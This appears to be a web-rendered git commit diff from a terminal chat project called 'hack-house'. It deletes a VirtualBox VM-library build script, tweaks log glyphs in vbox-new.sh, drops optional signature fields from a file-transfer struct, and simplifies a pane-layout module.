"ostype": "Ubuntu_64",
"version": "24.04",
"url": "https://cloud-images.ubuntu.com/releases/24.04/release/",
"page": "https://ubuntu.com/download/server",
"cpus": 2,
"mem_mb": 2048,
"disk_gb": 15,
"notes": "Fully unattended build via vbox-new.sh: a cloud-init seed installs the hack-house dev toolchain and creates a sudo login user on first boot. The only entry that comes up ready-to-use with no manual installer."
},
{
"id": "fedora-workstation",
"name": "Fedora Workstation",
"os": "Fedora · RPM",
"size": "~3 GB",
"kind": "iso",
"ostype": "Fedora_64",
"version": "41",
"url": "https://download.fedoraproject.org/pub/fedora/linux/releases/41/Workstation/x86_64/iso/Fedora-Workstation-Live-x86_64-41-1.4.iso",
"page": "https://fedoraproject.org/workstation/download",
"cpus": 2,
"mem_mb": 4096,
"disk_gb": 30,
"notes": "Cutting-edge GNOME workstation; live ISO, install to disk from the desktop."
},
{
"id": "debian-12",
"name": "Debian 12 (Bookworm)",
"os": "Debian · stable",
"size": "~1 GB (netinst)",
"kind": "iso",
"ostype": "Debian_64",
"version": "12",
"url": "https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/debian-12.8.0-amd64-netinst.iso",
"page": "https://www.debian.org/distrib/",
"cpus": 2,
"mem_mb": 2048,
"disk_gb": 20,
"notes": "Rock-stable base server/desktop. Small netinst ISO pulls packages during install."
}
]
}
hh/scripts/vbox-library.sh
-267
View File
@@ -1,267 +0,0 @@
#!/usr/bin/env bash
# vbox-library.sh — browse + locally build VMs from the hack-house VM library.
#
# The repo ships ONLY pointers (scripts/vbox-library.json), never the multi-GB
# images themselves. When you choose a VM it is built on YOUR own machine here:
# * cloudimg → hand off to vbox-new.sh (fully unattended cloud-init build)
# * iso → download the installer ISO, create a VM, attach it, boot the
# installer (you finish setup in the VirtualBox window)
# * ova → download the appliance and `VBoxManage import` it
# * manual → pointer-only (licence/availability prevents an auto-build)
#
# Detect-first, never silent: --plan shows exactly what would be downloaded and
# created and changes nothing; an install refuses to clobber an existing VM and
# rolls a half-built one back. Direct URLs are best-effort + version-pinned: if
# one 404s, you get the official page and can supply a local file with --iso.
#
# usage:
# ./vbox-library.sh --list # catalog (installed vs available)
# ./vbox-library.sh --info <id> # one entry's details + how to get it
# ./vbox-library.sh --plan <id> # show the build plan; change nothing
# ./vbox-library.sh --install <id> [--iso <path>] [--no-boot] [--yes]
#
# Deps: jq (read the manifest), VBoxManage; curl|wget for downloads; for cloudimg
# entries the deps of vbox-new.sh (qemu-img + a seed-ISO builder).
set -uo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
MANIFEST="$SCRIPT_DIR/vbox-library.json"
VBOX_NEW="$SCRIPT_DIR/vbox-new.sh"
CACHE_DIR="${XDG_CACHE_HOME:-$HOME/.cache}/hh/vbox-library"
ACTION=""
ID=""
ISO_OVERRIDE=""
DO_BOOT=1
ASSUME_YES=0
while [[ $# -gt 0 ]]; do
case "$1" in
--list) ACTION="list"; shift ;;
--info) ACTION="info"; ID="${2:-}"; shift 2 ;;
--plan|--dry-run) ACTION="plan"; ID="${2:-}"; shift 2 ;;
--install) ACTION="install"; ID="${2:-}"; shift 2 ;;
--iso) ISO_OVERRIDE="${2:-}"; shift 2 ;;
--iso=*) ISO_OVERRIDE="${1#*=}"; shift ;;
--no-boot) DO_BOOT=0; shift ;;
-y|--yes) ASSUME_YES=1; shift ;;
-h|--help) grep '^#' "$0" | sed 's/^# \{0,1\}//'; exit 0 ;;
*) echo "✖ unknown arg: $1" >&2; exit 2 ;;
esac
done
need() { command -v "$1" >/dev/null 2>&1; }
need jq || { echo "✖ jq is required to read the VM library manifest (apt install jq)" >&2; exit 1; }
[[ -f "$MANIFEST" ]] || { echo "✖ manifest not found: $MANIFEST" >&2; exit 1; }
# A single jq query against one VM object, by id. Echoes the raw value ("" if null).
q() { jq -r --arg id "$ID" --arg k "$1" '.vms[] | select(.id==$id) | .[$k] // ""' "$MANIFEST"; }
vm_exists_in_manifest() { jq -e --arg id "$ID" '.vms[] | select(.id==$id)' "$MANIFEST" >/dev/null 2>&1; }
# Is a VM with this display name already registered in VirtualBox?
vbox_has() { VBoxManage list vms 2>/dev/null | grep -qiF "\"$1\""; }
# ── --list: print the catalog, marking what's already built locally ──────────
if [[ "$ACTION" == "list" ]]; then
echo "hack-house VM library — pointers only; chosen VMs are built locally:" >&2
while IFS=$'\t' read -r id name os size kind; do
if vbox_has "$name"; then mark="✓ installed"; else mark="↓ available"; fi
printf ' %-12s %-22s %-22s %-12s [%s]\n' "$mark" "$id" "$name" "$os" "$kind" >&2
done < <(jq -r '.vms[] | [.id, .name, .os, .size, .kind] | @tsv' "$MANIFEST")
echo "details: ./vbox-library.sh --info <id> · build: ./vbox-library.sh --install <id>" >&2
exit 0
fi
# Everything past here needs a valid id.
[[ -n "$ID" ]] || { echo "✖ no VM id given — see ./vbox-library.sh --list" >&2; exit 2; }
vm_exists_in_manifest || { echo "✖ unknown VM id '$ID' — see ./vbox-library.sh --list" >&2; exit 2; }
NAME="$(q name)"; OS="$(q os)"; SIZE="$(q size)"; KIND="$(q kind)"
URL="$(q url)"; PAGE="$(q page)"; NOTES="$(q notes)"
OSTYPE="$(q ostype)"; VERSION="$(q version)"
CPUS="$(q cpus)"; MEM="$(q mem_mb)"; DISK="$(q disk_gb)"
EFI="$(q efi)"; TPM="$(q tpm)"
[[ -n "$CPUS" ]] || CPUS=2
[[ -n "$MEM" ]] || MEM=2048
[[ -n "$DISK" ]] || DISK=20
# ── --info: details + the honest "how to get it" pointer ─────────────────────
if [[ "$ACTION" == "info" ]]; then
echo "● $NAME ($ID)" >&2
echo " os : $OS" >&2
echo " size : $SIZE" >&2
echo " build : $KIND" >&2
[[ -n "$VERSION" ]] && echo " pinned: v$VERSION" >&2
if vbox_has "$NAME"; then
echo " state : ✓ already built locally — boot it with /sbx vbox \"$NAME\"" >&2
else
echo " state : ↓ not installed" >&2
fi
[[ -n "$URL" ]] && echo " url : $URL" >&2
[[ -n "$PAGE" ]] && echo " page : $PAGE" >&2
[[ -n "$NOTES" ]] && echo " notes : $NOTES" >&2
echo "build locally with: ./vbox-library.sh --install $ID" >&2
exit 0
fi
# Where a downloaded image lands.
EXT="iso"; [[ "$KIND" == "ova" ]] && EXT="ova"
DL_PATH="$CACHE_DIR/${ID}.${EXT}"
# ── --plan: describe the build, change nothing ───────────────────────────────
if [[ "$ACTION" == "plan" ]]; then
echo "plan for '$NAME' (no changes will be made):" >&2
case "$KIND" in
manual)
echo " ⚠ manual-only — cannot be auto-built (see notes)" >&2
echo " notes: $NOTES" >&2
echo " page : $PAGE" >&2
;;
cloudimg)
echo " hand off to vbox-new.sh → unattended cloud-init build" >&2
echo " VM : $NAME · ${CPUS} cpu · ${MEM}MiB · ${DISK}GiB · release ${VERSION:-24.04}" >&2
"$VBOX_NEW" --name "$NAME" --release "${VERSION:-24.04}" \
--cpus "$CPUS" --mem "$MEM" --disk "$DISK" --plan 2>&1 | sed 's/^/ /' >&2 || true
;;
ova)
echo " source : ${URL:-<none — supply --iso/appliance>}" >&2
echo " → cache $DL_PATH" >&2
echo " import : VBoxManage import (registers '$NAME')" >&2
;;
iso)
iso_src="${ISO_OVERRIDE:-${URL:-<none>}}"
echo " iso : $iso_src" >&2
[[ -z "$ISO_OVERRIDE" && -n "$URL" ]] && echo " → cache $DL_PATH" >&2
echo " VM : $NAME · ${CPUS} cpu · ${MEM}MiB · ${DISK}GiB" >&2
[[ "$EFI" == "true" ]] && echo " firmware: EFI" >&2
[[ -n "$TPM" ]] && echo " tpm : $TPM" >&2
echo " then : boot the installer in the VirtualBox window" >&2
;;
esac
exit 0
fi
[[ "$ACTION" == "install" ]] || { echo "✖ nothing to do — pass --list, --info <id>, --plan <id> or --install <id>" >&2; exit 2; }
# ── install ──────────────────────────────────────────────────────────────────
need VBoxManage || { echo "✖ VirtualBox (VBoxManage) is not installed — run ./ensure-vbox.sh first" >&2; exit 1; }
# manual-only entries never auto-build: surface the pointer and stop.
if [[ "$KIND" == "manual" ]]; then
echo "ⓘ '$NAME' can't be built automatically." >&2
echo " $NOTES" >&2
echo " follow: $PAGE" >&2
exit 1
fi
# Refuse to clobber an already-registered VM of the same name.
if vbox_has "$NAME"; then
echo "✓ '$NAME' is already built — boot it with /sbx vbox \"$NAME\" (nothing to do)" >&2
exit 0
fi
# cloudimg: the existing, tested unattended path.
if [[ "$KIND" == "cloudimg" ]]; then
echo "† building '$NAME' via vbox-new.sh (cloud-init, unattended)…" >&2
args=(--name "$NAME" --release "${VERSION:-24.04}" --cpus "$CPUS" --mem "$MEM" --disk "$DISK")
[[ $ASSUME_YES -eq 1 ]] && args+=(--yes)
[[ $DO_BOOT -eq 0 ]] && args+=(--no-boot)
exec "$VBOX_NEW" "${args[@]}"
fi
mkdir -p "$CACHE_DIR"
# Download helper → $DL_PATH. On failure, point at the page + --iso and bail
# (never leave a partial file or a half-built VM behind).
fetch() {
local url="$1" dst="$2"
[[ -f "$dst" ]] && { echo "↻ using cached $(basename "$dst")" >&2; return 0; }
echo "↓ downloading $(basename "$dst") … (this is large; be patient)" >&2
if need curl; then
curl -fL --retry 3 -o "$dst.partial" "$url"
elif need wget; then
wget -O "$dst.partial" "$url"
else
echo "✖ neither curl nor wget available to download" >&2; return 1
fi
}
# Resolve the source image: an explicit --iso wins; else download the pinned URL.
SRC=""
if [[ -n "$ISO_OVERRIDE" ]]; then
[[ -f "$ISO_OVERRIDE" ]] || { echo "✖ --iso path not found: $ISO_OVERRIDE" >&2; exit 1; }
SRC="$ISO_OVERRIDE"
elif [[ -n "$URL" ]]; then
if fetch "$URL" "$DL_PATH"; then
mv "$DL_PATH.partial" "$DL_PATH" 2>/dev/null || true
SRC="$DL_PATH"
else
rm -f "$DL_PATH.partial"
echo "✖ couldn't download '$NAME' from the pinned URL (it may have moved)." >&2
echo " get it from: $PAGE" >&2
echo " then build with: ./vbox-library.sh --install $ID --iso <downloaded-file>" >&2
exit 1
fi
else
echo "✖ no direct download for '$NAME' — download it yourself, then:" >&2
echo " get it from: $PAGE" >&2
echo " ./vbox-library.sh --install $ID --iso <downloaded-file>" >&2
exit 1
fi
# Confirmation (skipped with --yes).
if [[ $ASSUME_YES -ne 1 ]]; then
printf 'Build VM "%s" now (%s, %s cpu / %sMiB / %sGiB)? [y/N] ' "$NAME" "$OS" "$CPUS" "$MEM" "$DISK" >&2
read -r reply
case "$reply" in y|Y|yes|YES) ;; *) echo "✖ aborted — nothing built" >&2; exit 1 ;; esac
fi
# ── ova: import the appliance and we're done ─────────────────────────────────
if [[ "$KIND" == "ova" ]]; then
echo "† importing appliance '$NAME' …" >&2
if VBoxManage import "$SRC" >/dev/null; then
echo "✓ imported '$NAME' — boot it with /sbx vbox \"$NAME\"" >&2
exit 0
fi
echo "✖ VBoxManage import failed" >&2; exit 1
fi
# ── iso: create a VM, attach the installer, boot it ──────────────────────────
echo "† creating VM '$NAME' (${OSTYPE:-Other_64}) …" >&2
VBoxManage createvm --name "$NAME" --ostype "${OSTYPE:-Other_64}" --register >/dev/null
# Roll the half-built VM back if any step below fails.
cleanup() { VBoxManage unregistervm "$NAME" --delete >/dev/null 2>&1 || true; }
trap 'echo "✖ build failed — rolling back VM" >&2; cleanup' ERR
set -e
MACHINE_FOLDER="$(VBoxManage list systemproperties | sed -n 's/^Default machine folder: *//p')"
VMDIR="$MACHINE_FOLDER/$NAME"
VDI="$VMDIR/$NAME.vdi"
VBoxManage modifyvm "$NAME" \
--cpus "$CPUS" --memory "$MEM" \
--nic1 nat --graphicscontroller vmsvga --vram 64 \
--ioapic on --audio-driver none --boot1 dvd --boot2 disk >/dev/null
# Windows 11 (and other modern guests) require EFI firmware + a TPM 2.0 device.
[[ "$EFI" == "true" ]] && VBoxManage modifyvm "$NAME" --firmware efi >/dev/null
[[ -n "$TPM" ]] && VBoxManage modifyvm "$NAME" --tpm-type "$TPM" >/dev/null
# Boot disk.
VBoxManage createmedium disk --filename "$VDI" --size "$((DISK * 1024))" --format VDI >/dev/null
VBoxManage storagectl "$NAME" --name SATA --add sata --controller IntelAhci --portcount 2 >/dev/null
VBoxManage storageattach "$NAME" --storagectl SATA --port 0 --device 0 --type hdd --medium "$VDI" >/dev/null
# Installer ISO on an IDE optical drive.
VBoxManage storagectl "$NAME" --name IDE --add ide >/dev/null
VBoxManage storageattach "$NAME" --storagectl IDE --port 0 --device 0 --type dvddrive --medium "$SRC" >/dev/null
trap - ERR # past the rollback point
echo "✓ VM '$NAME' created — the installer ISO is attached." >&2
echo " finish setup inside the VirtualBox window (it boots into the installer)." >&2
if [[ $DO_BOOT -eq 1 ]]; then
echo "† booting '$NAME' (GUI) …" >&2
VBoxManage startvm "$NAME" --type gui >/dev/null
echo "✓ launched $NAME" >&2
else
echo "ⓘ not booting (--no-boot); start later with: /sbx vbox \"$NAME\"" >&2
fi
hh/scripts/vbox-new.sh
+4 -4
View File
@@ -146,7 +146,7 @@ if [[ ! -f "$IMG_PATH" ]]; then
fi
# ── 2. register the VM (creates its folder) ──────────────────────────────────
echo "† creating VM '$NAME' …" >&2
echo "⛧ creating VM '$NAME' …" >&2
VBoxManage createvm --name "$NAME" --ostype Ubuntu_64 --register >/dev/null
MACHINE_FOLDER="$(VBoxManage list systemproperties | sed -n 's/^Default machine folder: *//p')"
VMDIR="$MACHINE_FOLDER/$NAME"
@@ -159,7 +159,7 @@ trap 'echo "✖ build failed — rolling back VM" >&2; cleanup' ERR
set -e
# ── 3. cloud-image → VDI, grown to the requested size ────────────────────────
echo "† converting cloud image → VDI …" >&2
echo "⛧ converting cloud image → VDI …" >&2
qemu-img convert -O vdi "$IMG_PATH" "$VDI"
VBoxManage modifymedium disk "$VDI" --resize "$((DISK * 1024))" >/dev/null
@@ -208,7 +208,7 @@ trap 'echo "✖ build failed — rolling back VM" >&2; cleanup; rm -rf "$WORK"'
for p in "${PKG_LIST[@]}"; do echo " - $p"; done
} > "$WORK/user-data"
echo "† building cloud-init seed ($SEED_TOOL) …" >&2
echo "⛧ building cloud-init seed ($SEED_TOOL) …" >&2
case "$SEED_TOOL" in
cloud-localds)
cloud-localds "$SEED_ISO" "$WORK/user-data" "$WORK/meta-data"
@@ -245,7 +245,7 @@ echo " cloud-init runs the toolchain install on first boot (give it a minute)."
# ── 6. boot ──────────────────────────────────────────────────────────────────
if [[ $DO_BOOT -eq 1 ]]; then
echo "† booting '$NAME' (GUI) …" >&2
echo "⛧ booting '$NAME' (GUI) …" >&2
VBoxManage startvm "$NAME" --type gui >/dev/null
echo "✓ launched $NAME" >&2
else
hh/src/app.rs
+199 -964
View File
File diff suppressed because it is too large Load Diff
hh/src/ft.rs
-14
View File
@@ -30,14 +30,6 @@ pub struct Offer {
pub sha256: String,
pub dir: bool,
pub from: String,
/// Base64 Ed25519 persona public key of the sender (attribution). Absent on
/// legacy/Python senders that don't sign — wire-compatible either way.
pub persona: Option<String>,
/// Base64 detached signature over `persona::attest_msg(sha256, name, size)`.
pub sig: Option<String>,
/// Optional ESA-style attribution commitment `SHA-512(passphrase || sha256)`
/// the sender can later open by revealing the passphrase.
pub attrib: Option<String>,
/// Direct-send recipient: `Some(username)` means only that member should be
/// prompted; `None` (or absent/empty on the wire) means the whole room. The
/// relay still broadcasts to everyone, so this is an advisory app-layer
@@ -321,9 +313,6 @@ pub fn parse(text: &str, sender: &str) -> Option<Ft> {
sha256: v["sha256"].as_str().unwrap_or("").to_string(),
dir: v["dir"].as_bool().unwrap_or(false),
from: sender.to_string(),
persona: v["persona"].as_str().map(String::from),
sig: v["sig"].as_str().map(String::from),
attrib: v["attrib"].as_str().map(String::from),
to: match v["to"].as_str() {
Some(s) if !s.is_empty() => Some(s.to_string()),
_ => None,
@@ -365,9 +354,6 @@ mod tests {
sha256: src.sha256.clone(),
dir: src.dir,
from: "x".into(),
persona: None,
sig: None,
attrib: None,
to: None,
};
let (tmp, sha) = sink.finish().unwrap();
hh/src/layout.rs
+90 -497
View File
@@ -1,36 +1,24 @@
//! Window layout ("cell plan"): a small binary space-partition (BSP) pane tree
//! describing how the chat, roster and sandbox-terminal panes divide the screen,
//! plus a fullscreen ("zoom") mode for the terminal or chat.
//! Window layout ("cell plan"): how the chat, roster and sandbox-terminal panes
//! divide the screen, plus a fullscreen ("zoom") mode for the terminal or chat.
//!
//! The tree is the single source of truth shared by `ui::draw` (what's painted),
//! `ui::pane_at` (mouse hit-testing) and `app::sbx_grid` (the PTY grid we resize
//! the real shell to). Because the run loop re-syncs the PTY every tick, changing
//! a divider is all it takes to live-resize the terminal and broadcast the new
//! dims to the room.
//!
//! Two typed splits cover the three semantic panes:
//! * `VSplit` — chat (top) over terminal (bottom), by **percentage** of height.
//! * `HSplit` — left column beside the roster, the roster a **fixed cell** column
//! on the right (`0` cells = hidden), matching the stable narrow-column look.
//! Nesting them gives every pane both-axis adjustability: the left column (chat +
//! terminal) shares the `HSplit` width, and chat/terminal share the `VSplit`
//! height. The roster is a full-height column, so only its width is adjustable.
//! The split is a single source of truth shared by `ui::draw` (what's painted)
//! and `app::sbx_dims` (the PTY grid we resize the real shell to). Because the
//! run loop re-syncs the PTY every tick, changing these values is all it takes
//! to live-resize the terminal and broadcast the new dims to the room.
//!
//! Named arrangements can be saved to `layouts/<slug>.toml` and re-applied later
//! with `/layout load <name>`, mirroring how `theme.rs` persists vestments.
use crate::app::Pane;
use anyhow::Context;
use ratatui::layout::{Constraint, Direction, Layout as RLayout, Rect};
use serde::{Deserialize, Serialize};
/// Where saved layout presets live (mirrors `theme::THEMES_DIR`).
pub const LAYOUTS_DIR: &str = concat!(env!("CARGO_MANIFEST_DIR"), "/layouts");
/// Fullscreen state. `Normal` honours the tree; `Term` gives the whole body to
/// the sandbox terminal (chat + roster hidden); `Chat` hides the terminal so chat
/// + roster fill the body. The 3-line input bar always stays visible, so F4 (or
/// `/layout reset`) always brings you back.
/// Fullscreen state. `Normal` honours the `pty_pct` split; `Term` gives the
/// whole body to the sandbox terminal (chat + roster hidden); `Chat` hides the
/// terminal so chat + roster fill the body. The 3-line input bar always stays
/// visible, so you can always type `/layout normal` or press F4 to get back.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
pub enum Zoom {
Normal,
@@ -44,122 +32,50 @@ impl Default for Zoom {
}
}
/// Which divider a resize key acts on: vertical (↑/↓ height) or horizontal
/// (←/→ width). `grow` is true for ↑/→ (enlarge the focused pane), false for ↓/←.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Dir {
Up,
Down,
Left,
Right,
}
impl Dir {
fn grows(self) -> bool {
matches!(self, Dir::Up | Dir::Right)
}
}
/// Outcome of a resize attempt, so the caller can hint when an axis isn't
/// adjustable for the focused pane (e.g. height with no sandbox up).
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Resize {
/// A divider moved.
Moved,
/// No divider on that axis bounds the focused pane (caller shows a hint).
NoAxisHere,
}
/// A node in the layout tree: a leaf pane, or one of the two typed splits.
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub enum Node {
Leaf(Pane),
/// Chat (top) over terminal (bottom); `top_pct` is the top's share of height.
VSplit {
top_pct: u16,
top: Box<Node>,
bottom: Box<Node>,
},
/// Left column beside the roster; `right_cells` is the roster column width
/// (`0` hides it). The left side takes the remaining width.
HSplit {
right_cells: u16,
left: Box<Node>,
right: Box<Node>,
},
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(default)]
pub struct Layout {
root: Node,
/// Sandbox terminal's share of the body height, as a percentage (clamped
/// 20–90 so neither chat nor terminal can collapse to nothing).
pub pty_pct: u16,
/// Roster column width in cells. `0` hides the roster entirely.
pub roster_width: u16,
/// Fullscreen state (not all presets care; defaults to `Normal`).
pub zoom: Zoom,
/// Height (in rows, borders included) of the bottom message/compose box. The
/// input bar lives outside `root` (it's the frame's fixed bottom row), so it
/// can't be a tree leaf — this scalar is its one adjustable axis. `↑/↓` while
/// the Input pane is focused grows/shrinks it so a long, wrapped message is
/// readable even with no sandbox up.
input_height: u16,
}
impl Default for Layout {
fn default() -> Self {
Self {
root: default_root(),
pty_pct: 55,
roster_width: 22,
zoom: Zoom::Normal,
input_height: DEFAULT_INPUT,
}
}
}
/// The default arrangement: roster as a right-hand column, with chat over the
/// sandbox terminal in the left column (reproduces the historical look).
fn default_root() -> Node {
Node::HSplit {
right_cells: DEFAULT_ROSTER,
left: Box::new(Node::VSplit {
top_pct: DEFAULT_TOP_PCT,
top: Box::new(Node::Leaf(Pane::Chat)),
bottom: Box::new(Node::Leaf(Pane::Terminal)),
}),
right: Box::new(Node::Leaf(Pane::Roster)),
}
}
/// Default chat share of the left-column height (terminal gets the rest).
const DEFAULT_TOP_PCT: u16 = 45;
/// Default roster column width in cells.
const DEFAULT_ROSTER: u16 = 22;
/// Default input-bar height (1 content line + 2 border rows) — the historical look.
const DEFAULT_INPUT: u16 = 3;
impl Layout {
/// Lower/upper bounds for the chat (top) height share — neither chat nor
/// terminal may collapse to nothing.
pub const MIN_TOP: u16 = 10;
pub const MAX_TOP: u16 = 80;
/// Lower/upper bounds for the terminal's height share.
pub const MIN_PCT: u16 = 20;
pub const MAX_PCT: u16 = 90;
/// Upper bound on roster width (keeps it from eating the whole chat column).
pub const MAX_ROSTER: u16 = 60;
/// Bounds on the input-bar height (rows, borders included). Min keeps the one
/// content line + its borders; max stops it swallowing the whole body.
pub const MIN_INPUT: u16 = 3;
pub const MAX_INPUT: u16 = 16;
/// Cells/percent/rows moved per arrow press.
const PCT_STEP: u16 = 4;
const CELL_STEP: u16 = 2;
const ROW_STEP: u16 = 1;
/// Seed the roster column width (called once from the active theme).
pub fn set_roster_width(&mut self, cells: u16) {
if let Node::HSplit { right_cells, .. } = &mut self.root {
*right_cells = cells.min(Self::MAX_ROSTER);
}
/// Re-clamp every field into its valid range. Call after any mutation that
/// came from user input so out-of-range values can never reach the layout.
pub fn clamp(&mut self) {
self.pty_pct = self.pty_pct.clamp(Self::MIN_PCT, Self::MAX_PCT);
self.roster_width = self.roster_width.min(Self::MAX_ROSTER);
}
/// Re-clamp every divider into its valid range.
pub fn clamp(&mut self) {
clamp_node(&mut self.root);
self.input_height = self.input_height.clamp(Self::MIN_INPUT, Self::MAX_INPUT);
/// The terminal's effective height share once zoom is taken into account:
/// `Term` fills the body (100%); `Normal`/`Chat` use the stored split (the
/// terminal is simply not painted under `Chat`, so its size stays steady).
pub fn effective_pty_pct(&self) -> u16 {
match self.zoom {
Zoom::Term => 100,
_ => self.pty_pct,
}
}
/// Cycle the fullscreen state: Normal → Term → Chat → Normal. Bound to F4.
@@ -171,112 +87,17 @@ impl Layout {
};
}
/// Carve `body` into the visible pane rectangles, honouring the current zoom
/// and whether a sandbox terminal exists. The single source of truth for both
/// painting and hit-testing.
pub fn regions(&self, body: Rect, has_terminal: bool) -> Vec<(Pane, Rect)> {
let mut out = Vec::new();
match self.zoom {
// Terminal fullscreen (only if one exists; otherwise fall through).
Zoom::Term if has_terminal => out.push((Pane::Terminal, body)),
// Chat fullscreen: paint the tree with the terminal hidden so chat +
// roster fill the body.
Zoom::Chat => fill(&self.root, body, false, &mut out),
_ => fill(&self.root, body, has_terminal, &mut out),
}
out
/// Grow the terminal pane by `step` percent (drops out of any zoom first so
/// the change is visible). Stays within [MIN_PCT, MAX_PCT].
pub fn grow_pty(&mut self, step: u16) {
self.zoom = Zoom::Normal;
self.pty_pct = (self.pty_pct + step).min(Self::MAX_PCT);
}
/// The rectangle a given pane occupies in `body`, if visible.
pub fn rect_of(&self, body: Rect, pane: Pane, has_terminal: bool) -> Option<Rect> {
self.regions(body, has_terminal)
.into_iter()
.find(|(p, _)| *p == pane)
.map(|(_, r)| r)
}
/// Panes currently visible, in a stable cycle order (chat → terminal → roster
/// → input) for F5 focus cycling. The input bar is always present, so it's
/// always a stop — that's the one resize you can do with no sandbox up.
pub fn present_panes(&self, has_terminal: bool) -> Vec<Pane> {
let mut v = vec![Pane::Chat];
if has_terminal {
v.push(Pane::Terminal);
}
if self.roster_width() > 0 {
v.push(Pane::Roster);
}
v.push(Pane::Input);
v
}
/// Current input-bar height (rows, borders included).
pub fn input_height(&self) -> u16 {
self.input_height
}
/// Resize the divider bounding `pane` on the axis of `dir`. `grow` (↑/→)
/// enlarges the focused pane. Vertical resize always does *something* now:
/// chat trades against the terminal when a sandbox is up, and otherwise chat
/// and the roster drag the body↔input divider — so the chat box visibly
/// grows/shrinks on ↑/↓ even with no sandbox (space is borrowed from / given
/// back to the message bar below). Returns `NoAxisHere` only when truly no
/// divider applies.
pub fn resize_focused(&mut self, pane: Pane, dir: Dir, has_terminal: bool) -> Resize {
// The input bar is outside the tree: its only axis is height, adjusted
// directly here (↑ grows, ↓ shrinks). ←/→ have nothing to act on.
if pane == Pane::Input {
return match dir {
Dir::Up | Dir::Down => {
self.input_height = step_rows(self.input_height, dir.grows());
Resize::Moved
}
Dir::Left | Dir::Right => Resize::NoAxisHere,
};
}
match dir {
Dir::Up | Dir::Down => {
// Chat and terminal share the VSplit when a sandbox is up — the
// chat box trades its height against the terminal directly below.
if has_terminal && (pane == Pane::Chat || pane == Pane::Terminal) {
if let Some((top_pct, _, _)) = find_vsplit(&mut self.root) {
// chat is the top; grow chat → bigger top share.
let grow_top = (pane == Pane::Chat) == dir.grows();
*top_pct = step_pct(*top_pct, grow_top);
return Resize::Moved;
}
}
// Otherwise the pane's downward neighbour is the message bar. Chat
// (no sandbox) and the roster drag the body↔input divider: growing
// the pane (↑) grows the body — i.e. the chat box — and shrinks the
// input bar; ↓ does the reverse. This is what makes the chat box
// fluctuate on ↑/↓ for both chat and clergy.
if pane == Pane::Chat || pane == Pane::Roster {
self.input_height = step_rows(self.input_height, !dir.grows());
return Resize::Moved;
}
Resize::NoAxisHere
}
Dir::Left | Dir::Right => {
if let Some(right_cells) = find_hsplit(&mut self.root) {
// roster is the right column; growing the roster widens it,
// growing a left-column pane narrows it.
let grow_right = (pane == Pane::Roster) == dir.grows();
*right_cells = step_cells(*right_cells, grow_right);
Resize::Moved
} else {
Resize::NoAxisHere
}
}
}
}
/// Current roster column width in cells (0 when hidden).
pub fn roster_width(&self) -> u16 {
match &self.root {
Node::HSplit { right_cells, .. } => *right_cells,
_ => 0,
}
/// Shrink the terminal pane by `step` percent (counterpart of `grow_pty`).
pub fn shrink_pty(&mut self, step: u16) {
self.zoom = Zoom::Normal;
self.pty_pct = self.pty_pct.saturating_sub(step).max(Self::MIN_PCT);
}
/// A one-line description of the current arrangement (for `/layout`).
@@ -286,28 +107,30 @@ impl Layout {
Zoom::Term => "terminal-fullscreen",
Zoom::Chat => "chat-fullscreen",
};
let top = find_top_pct(&self.root).unwrap_or(DEFAULT_TOP_PCT);
let roster = match self.roster_width() {
0 => "off".to_string(),
n => format!("{n} cells"),
let roster = if self.roster_width == 0 {
"off".to_string()
} else {
self.roster_width.to_string()
};
format!(
"chat {}% · terminal {}% · roster {} · input {} rows · {}",
top,
100 - top,
"terminal {}% · chat {}% · roster {} · {}",
self.pty_pct,
100 - self.pty_pct,
roster,
self.input_height,
zoom
)
}
/// Persist this arrangement to `layouts/<slug>.toml`. Returns the slug written.
/// Persist this arrangement to `layouts/<slug>.toml` so it can be re-applied
/// later with `/layout load <slug>`. Returns the slug actually written.
pub fn save(&self, name: &str) -> anyhow::Result<String> {
let slug = slugify(name);
anyhow::ensure!(!slug.is_empty(), "give the layout a name (letters/digits)");
std::fs::create_dir_all(LAYOUTS_DIR).with_context(|| format!("creating {LAYOUTS_DIR}"))?;
std::fs::create_dir_all(LAYOUTS_DIR)
.with_context(|| format!("creating {LAYOUTS_DIR}"))?;
let path = format!("{LAYOUTS_DIR}/{slug}.toml");
let body = toml::to_string_pretty(self).with_context(|| format!("serialize layout '{slug}'"))?;
let body = toml::to_string_pretty(self)
.with_context(|| format!("serialize layout '{slug}'"))?;
std::fs::write(&path, body).with_context(|| format!("write {path}"))?;
Ok(slug)
}
@@ -316,7 +139,8 @@ impl Layout {
pub fn by_name(name: &str) -> anyhow::Result<Self> {
let slug = slugify(name);
let path = format!("{LAYOUTS_DIR}/{slug}.toml");
let s = std::fs::read_to_string(&path).with_context(|| format!("layout '{slug}' ({path})"))?;
let s = std::fs::read_to_string(&path)
.with_context(|| format!("layout '{slug}' ({path})"))?;
let mut l: Layout = toml::from_str(&s)?;
l.clamp();
Ok(l)
@@ -348,114 +172,6 @@ impl Layout {
}
}
impl Default for Node {
fn default() -> Self {
default_root()
}
}
/// Recursively paint `node` into `rect`, pruning the terminal when absent and the
/// roster when its column is 0-width (the divider vanishes, the sibling fills).
fn fill(node: &Node, rect: Rect, has_terminal: bool, out: &mut Vec<(Pane, Rect)>) {
match node {
Node::Leaf(p) => out.push((*p, rect)),
Node::VSplit { top_pct, top, bottom } => {
if !has_terminal {
fill(top, rect, has_terminal, out); // terminal pruned → chat fills
return;
}
let parts = RLayout::default()
.direction(Direction::Vertical)
.constraints([Constraint::Percentage(*top_pct), Constraint::Percentage(100 - *top_pct)])
.split(rect);
fill(top, parts[0], has_terminal, out);
fill(bottom, parts[1], has_terminal, out);
}
Node::HSplit { right_cells, left, right } => {
if *right_cells == 0 {
fill(left, rect, has_terminal, out); // roster hidden → left fills
return;
}
let parts = RLayout::default()
.direction(Direction::Horizontal)
.constraints([Constraint::Min(1), Constraint::Length(*right_cells)])
.split(rect);
fill(left, parts[0], has_terminal, out);
fill(right, parts[1], has_terminal, out);
}
}
}
/// Nearest VSplit's `top_pct` (mutable) on the path to a leaf. With our default
/// tree there is exactly one.
